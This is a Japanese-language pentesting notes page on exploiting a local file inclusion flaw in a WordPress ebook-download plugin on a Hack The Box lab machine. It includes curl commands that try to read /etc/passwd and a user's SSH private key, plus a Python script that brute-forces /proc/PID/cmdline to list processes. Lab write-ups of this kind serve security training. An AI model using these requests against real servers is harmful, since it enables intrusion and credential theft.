> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).
# LFI Proc Logs
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための LFI Proc Logs メモ。
## LFI の悪用
**機密ファイルの列挙:** /etc/passwd でシステムのユーザーを列挙:
```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/
```
ユーザーの秘密 SSH 鍵の取得の試み `ユーザー`:
```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"
```
これらの試みは、おそらくこれらのファイルに対する権限制限のため失敗する。
### **LFI - Proc**
**proc の探索** 探索によってプロセス情報を抽出する Python スクリプトの作成 `/proc/[PID]/cmdline`:
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
print("/n/n[+]] 終了中.../n")
sys.exit(1)
# LFI Proc ログ
signal.signal(signal.SIGINT, def_handler)
# LFI Proc ログ
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
# /proc/PID/cmdline
p1 = log.progress("総当たり攻撃")
p1.status("総当たり攻撃を開始しています")
sleep(2)
for i in range(1, 1000):
p1.status("PATH /proc/%s/cmdline を試行中" % str(i))
url = main_url + "/proc/" + str(i) + "/cmdline"
r = requests.get(url)
if len(r.content) > 82:
print("-------------------------------------------------------------------------------------")
log.info("PATH: /proc/%s/cmdline" % str(i))
log.info("合計長: %s" %len(r.content))
print(r.content)
print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
makeRequest()
```
プロセスを分析すると、ポート 1337 がサーバーとして特定される **gdbserver**.
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